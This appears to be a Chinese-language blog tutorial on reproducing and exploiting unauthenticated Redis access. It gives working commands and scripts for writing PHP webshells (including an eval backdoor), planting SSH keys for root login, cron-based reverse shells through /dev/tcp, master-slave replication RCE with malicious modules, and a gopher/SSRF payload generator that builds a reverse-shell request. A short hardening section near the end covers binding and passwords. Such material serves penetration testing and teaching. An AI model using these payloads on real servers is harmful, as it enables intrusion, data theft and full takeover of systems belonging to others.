解析Redis未授权访问漏洞复现与利用危害

2022-07-18,,,,

目录
  • 一、漏洞简介以及危害
    • 1.什么是redis未授权访问漏洞:
    • 2.漏洞的危害
    • 3.漏洞的影响
  • 二、漏洞复现
    • 三、未授权访问漏洞测试
      • 0x01 利用redis写webshell
      • 0x02 利用"公私钥"认证获取root权限
      • 0x03利用crontab反弹shell
    • 四、pyhton脚本自动化测试
      • 五、解决方案
        • 于2019.10.9日补充
          • redis主从复制rce
        • 于2021.01.02补充
          • ssrf,redis与gopher
        • 参考文章:

          一、漏洞简介以及危害:

          1.什么是redis未授权访问漏洞:

          redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 redis 以及读取 redis 的数据。攻击者在未授权访问 redis 的情况下,利用 redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

          简单说,漏洞的产生条件有以下两点:

          (1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
          (2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。 

          2.漏洞的危害

          (1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
          (2)攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件;
          (3)最严重的情况,如果redis以root身份运行,黑客可以给root账户写入ssh公钥文件,直接通过ssh登录受害服务器

          3.漏洞的影响

          根据 zoomeye 的探测,全球无验证可直接利用redis 分布情况如下:

          全球无验证可直接利用redis top 10国家与地区:

          二、漏洞复现:

          下载并安装测试用的redis,本次采用的是ubuntu镜像:

          wget http://download.redis.io/releases/redis-2.8.17.tar.gz

          (如果下载不下来的话:http://distfiles.macports.org/redis/)

          解压安装包:tar xzf redis-2.8.17.tar.gz进入redis目录:cd redis-2.8.17安装:make

          make结束后,进入src目录:cd src,
          将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

          返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

          使用/etc/目录下的reids.conf文件中的配置启动redis服务:

          服务启动成功,我们克隆这台虚拟机

          一台作为攻击机,一台作为靶机

          攻击机ip:192.168.0.105

          靶机ip:192.168.0.104

          启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:

          三、未授权访问漏洞测试

          使用redis客户端直接无账号成功登录redis:

          从登录的结果可以看出该redis服务对公网开放,且未启用认证。

          0x01 利用redis写webshell

          利用前提:

          1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证
          2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限
          (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

          这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

          注:

          第三步写入webshell的时候,可以使用:

          set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

          \r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

          shell写入完成,我们在靶机上来证明:

          成功写入shell。

          当数据库过大时,redis写shell的小技巧:

          <?php 
          set_time_limit(0);
          $fp=fopen('bmjoker.php','w');
          fwrite($fp,'<?php @eval($_post[\"bmjoker\"]);?>');
          exit();
          ?>

          0x02 利用"公私钥"认证获取root权限

          当redis以root身份运行,可以给root账户写入ssh公钥文件,直接通过ssh登录目标服务器。

          靶机中开启redis服务:redis-server /etc/redis.conf

          在靶机中执行 mkdir /root/.ssh 命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

          在攻击机中生成ssh公钥和私钥,密码设置为空:

          进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

          链接靶机上的redis服务,

          将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

          远程登录靶机的redis服务:redis-cli -h 192.168.0.104

          并使用 config get dir 命令得到redis备份的路径:

          更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

          设置上传公钥的备份文件名字为authorized_keys:

          检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

          至此成功写入ssh公钥到靶机:

          在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104

          利用私钥成功登录redis服务器!!!

          0x03利用crontab反弹shell

          在权限足够的情况下,利用redis写入文件到计划任务目录下执行。

          端口监听:

          在攻击者服务器上监听一个端口(未被占用的任意端口):

          nc -lvnp 4444

          攻击详情:

          连接redis,写入反弹shell

          redis-cli -h 192.168.0.104
          set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

          config set dir /var/spool/cron
          config set dbfilename root
          save

          过一分钟左右就可以收到shell

          四、pyhton脚本自动化测试

          可用来测试是否存在未授权或弱口令的情况:

          #! /usr/bin/env python
          # _*_  coding:utf-8 _*_
          import socket
          import sys
          password_dic=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
          def check(ip, port, timeout):
              try:
                  socket.setdefaulttimeout(timeout)
                  s = socket.socket(socket.af_inet, socket.sock_stream)
                  s.connect((ip, int(port)))
                  s.send("info\r\n")
                  result = s.recv(1024)
                  if "redis_version" in result:
                      return u"未授权访问"
                  elif "authentication" in result:
                      for pass_ in password_dic:
                          s = socket.socket(socket.af_inet, socket.sock_stream)
                          s.connect((ip, int(port)))
                          s.send("auth %s\r\n" %(pass_))
                          result = s.recv(1024)
                          if '+ok' in result:
                              return u"存在弱口令,密码:%s" % (pass_)
              except exception, e:
                  pass
          if __name__ == '__main__':
              ip=sys.argv[1]
              port=sys.argv[2]
              print check(ip,port, timeout=10)

          五、解决方案

          1、比较安全的办法是采用绑定ip的方式来进行控制。

          请在redis.conf文件找到如下配置

          # if you want you can bind a single interface, if the bind option is not
          # specified all the interfaces will listen for incoming connections.
          #
          # bind 127.0.0.1

          把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

          2、设置密码,以提供远程登陆

          打开redis.conf配置文件,找到requirepass,然后修改如下:

          requirepass yourpassword
          yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
            
          命令如下:
          redis-cli -h yourip -p yourport//启动redis客户端,并连接服务器
          keys * //输出服务器中的所有key
          报错如下
          (error) err operation not permitted
            
          这时候你可以用授权命令进行授权,就不报错了
            
          命令如下:
          auth youpassword

          -------------------------

          于2018.11.23进行补充

          redis配置错误导致的远程代码漏洞溯源

          在刷墨者学院的题时,发现了这个不错的题,通过这个题了解redis在低权限下的渗透思路:

          给出了ip:219.153.49.228 ,同时也给出了俩个端口一个是web也就是http端口 419387,一个是redis数据库端口 48055

          尝试用kali链接redis端口:

          redis-cli -h 219.153.49.228 -p 48055

          连接成功,本想用上文的方法,生成ssh密钥把内容写进redis数据库,然后把redis数据库的目录指定到/etc/.ssh/,这样就可以通过ssh直接连接服务器,但是这里权限不够,不能指定到/etc/.ssh/目录。

          由于服务器是ubuntu的,apache容器,尝试指定一下默认的路径/var/www/html/来写入shell:

          一波写入shell的操作,然后在web页面尝试访问我们写入shell的joker.php文件:

          成功写入,尝试用菜刀链接,获取flag:

          出现这样的问题还是权限控制的不足

          -----------------------

          于2019.10.9日补充

          redis主从复制rce

            redis是一个使用ansi c编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

            在redis 4.x之后,redis新增了模块功能,通过外部拓展,可以在redis中实现一个新的redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 https://github.com/ricterz/redismodules-executecommand

            在两个redis实例设置主从模式的时候,redis的主机实例可以通过fullresync同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。

          网上收集两个比较方便的getshell python脚本

          1.https://github.com/n0b0dycn/redis-rogue-server

          漏洞利用:

          2.https://github.com/ridter/redis-rce

          漏洞利用:

          反弹到其他服务器:

          ---------------

          于2021.01.02补充

          ssrf,redis与gopher

          补充篇只来讨论如果通过ssrf探测到内网某ip开启了6379端口,并存在未授权,如何结合gopher协议来写shell。

            gopher是internet上一个非常有名的信息查找系统,它将internet上的文件组织成某种索引,很方便地将用户从internet的一处带到另一处。在www出现之前,gopher是internet上最主要的信息检索工具,gopher站点也是最主要的站点,使用tcp70端口。但在www出现后,gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它;

          gopher协议支持发出get、post请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议

          gopher协议格式:

          url:gopher://<host>:<port>/<gopher-path>_后接tcp数据流
          gopher的默认端口是70

          如果发起post请求,回车换行需要使用%0d%0a,如果存在多个参数,参数之间的&也需要进行url编码。注意%0d%0a是\r\n的url编码。

          gopher发送请求http get请求:

          curl gopher://192.168.194.1:6666/_abcd

          注意:abcd是要传递的数据,_会被吃掉不会传递过去

          由于gopher协议规则比较复杂,这里借助一个github的工具来生成payload:https://github.com/firebroo/sec_tools

          只需要在redis-over-gopher/redis.cmd中写入redis执行的命令,比如下面的命令直接在web目录下写shell

          flushall
          config set dir /tmp
          config set dbfilename shell.php
          set 'webshell' '<?php phpinfo();?>'
          save

          编辑好后运行redis-over-gopher/redis-over-gopher.py

          python redis-over-gopher.py

          就可以生成支持gopher协议的payload:

          使用curl运行payload

          进入docker容器,发现shell.php已经成功生成

          注:需要将内容再进行一次url编码传到web的参数中才会正常运行

          使用ssrf端口探测的时候,不要拘泥于http协议,还可以使用dict协议来进行探测

          利用gopher协议反弹shell

          /*gopher协议反弹shell利用脚本*/
          import urllib
          protocol="gopher://"
          ip="192.168.127.140"
          port="6379"
          reverse_ip="192.168.127.131"
          reverse_port="7777"
          cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
          filename="root"
          path="/var/spool/cron"
          passwd=""
          cmd=["flushall",
             "set 1 {}".format(cron.replace(" ","${ifs}")),
             "config set dir {}".format(path),
             "config set dbfilename {}".format(filename),
             "save"
             ]
          if passwd:
            cmd.insert(0,"auth {}".format(passwd))
          payload=protocol+ip+":"+port+"/_"
          def redis_format(arr):
            crlf="\r\n"
            redis_arr = arr.split(" ")
            cmd=""
            cmd+="*"+str(len(redis_arr))
            for x in redis_arr:
              cmd+=crlf+"$"+str(len((x.replace("${ifs}"," "))))+crlf+x.replace("${ifs}"," ")
            cmd+=crlf
            return cmd
          
          if __name__=="__main__":
            for x in cmd:
              payload += urllib.quote(redis_format(x))
            print payload

          redis如果有密码,是弱口令的话,可以通过python脚本爆破,看回显来确定密码是否正确

          如果有口令在最前面,和gopher的格式一样,如下健为auth,密码为123456

          爆破的时候需要在寻常的未授权前加上认证的gopher字段

          %2a2%0d%0a%244%0d%0aauth%0d%0a%246%0d%0a123456%0d%0a

          爆破成功的化可以直接结合gopher协议对redis进行写shell的操作。

          这里结合上面的redis主从复制的rce来执行命令,先来构造加载exp.so的payload

          config set dir /tmp/
          config set dbfilename /tmp/
          slaveof 192.168.127.140 4444
          module load /tmp/exp.so
          system.exec 'whoami'
          quit

          这样就可以加载本地的exp.so对redis进行爆破,如果爆破成功就执行whoami命令。

          这里只是一种演示,使用此方法同样可以写shell,写计划任务来获取shell。

          参考文章:

          redis 安装 http://www.runoob.com/redis/redis-install.html

          redis未授权访问漏洞 http://blog.csdn.net/hu_wen/article/details/55189777?locationnum=15&fps=1

          redis 未授权访问配合 ssh key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

          redis未授权访问漏洞利用姿势http://www.jianshu.com/p/e550628ba1bc

          https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis

          到此这篇关于redis未授权访问漏洞复现与利用的文章就介绍到这了,更多相关redis未授权访问漏洞内容请搜索以前的文章或继续浏览下面的相关文章希望大家以后多多支持!

          《解析Redis未授权访问漏洞复现与利用危害.doc》

          下载本文的Word格式文档,以方便收藏与打印。